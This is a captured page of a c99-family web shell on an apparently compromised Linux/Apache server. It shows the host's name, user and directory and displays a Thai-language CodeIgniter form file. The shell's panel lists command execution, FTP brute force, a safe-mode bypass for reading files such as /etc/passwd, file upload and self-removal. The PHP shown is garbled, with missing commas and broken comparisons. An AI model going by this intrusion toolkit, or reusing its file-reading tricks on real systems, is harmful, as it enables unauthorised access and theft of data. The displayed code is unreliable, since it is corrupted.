!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/esa/   drwxr-xr-x
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_add_club_pos.php (3.5 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    $_image_reply 
= array(
                    
'src' => 'images/reply.gif',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'แก้ไขข้อมูล'
    
);
    
$_image_del = array(
                    
'src' => 'images/action_delete.gif',         
                    
'width' => '15',
                    
'height' => '15',
                    
'border' => '0',
                    
'title' => 'ลบข้อมูล'
    
);
?>

<?php echo form_open('esa/base_data/add_club_pos');?>
<table class='tb_1' width="40%" border="0">
    <tr >
        <th align="center" colspan="2">ข้อมูลตำแหน่งในชมรม</th>
    </tr>
    <tr  class='light'>
        <td width="35%" align="right">ลำดับ <font color='red'>*</font>:&nbsp;</td>
        <td width="65%" >
            <input type="hidden" name="pos_id" id="pos_id" value="<?php echo getval('pos_id'$pos);?>" size="20" />
            <input type="hidden" name="pos_type" id="pos_type" value="2" size="20" />
            <input type="text" name="pos_seq" id="pos_seq" value="<?php echo getval('pos_seq'$pos);?>" size="20" />
            <?php echo form_error('pos_seq'); ?>
        </td>
    </tr>
    <tr  class='light'>
        <td width="35%" align="right">ชื่อตำแหน่ง <font color='red'>*</font>:&nbsp;</td>
        <td width="65%" >
            <input type="text" name="pos_name" id="pos_name" value="<?php echo getval('pos_name'$pos);?>" size="20" />
            <?php echo form_error('pos_name'); ?>
        </td>
    </tr>
    <tr  class='light1'>
        <td align="right" >สถานะ <font color='red'>*</font>:&nbsp;</td>
        <td>
            <input type="radio" name="pos_status" id="pos_status" value="<?php echo getval('pos_status'$pos);?>" size="20" /> ใช้ 
            <input type="radio" name="pos_status" id="pos_status" value="<?php echo getval('pos_status'$pos);?>" size="20" /> ไม่ใช้
            <?php echo form_error('pos_status'); ?>    
        </td>
    </tr>
    <tr  >
        <td colspan="2" height=22><?php echo form_error('error_name'); ?></td>
    </tr>
    <tr  >
        <td colspan="2" align="center">
        <input type="submit" name="add" value="บันทึก" /></td>
    </tr>
    <tr  >
        <td colspan="2" height=22></td>
    </tr>
</table><?php echo form_close();?>
<table class='tb_1' width="70%" border="0">
    <tr>
        <td colspan="5" height="22"></td>
    </tr>
    <tr>
        <th align="center">ลำดับที่</th>
        <th align="center">ชื่อตำแหน่ง</th>
        <th align="center">สถานะ</th>
        <th align="center">แก้ไข</th>
        <th align="center">ลบ</th>
    </tr>
<?php 
if ($rs_pos->num_rows 0) {
    foreach (
$rs_pos->result() as $row) {
?>
    <tr>
        <td align="center"><font size="2"><b><?php echo getval('pos_seq'$row);?></b></font></td>
        <td align="center"><font size="2"><b><?php echo getval('pos_name'$row);?></b></font></td>
        <td align="center"><font size="2"><b><?php echo getval('pos_status'$row);?><b></font></td>
        <td align="center"><font size="2"><b><?php anchor('esa/base_data/club_pos/FALSE/'.getval('pos_id'$row),img($_image_reply))?></b></font></td>
        <td align="center"><font size="2"><b><?php anchor('esa/base_data/del_pos/'.getval('pos_type'$row).'/'.getval('pos_id'$row),img($_image_del))?></b></font></td>
    </tr>
<?php 
    
}
} else {
?>
    <tr>
        <td colspan="5" height="22" align="center" bgcolor="#D1DCF3">ไม่พบชื่อตำแหน่ง</td>
    </tr>
<?php 
}
?>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0139 ]--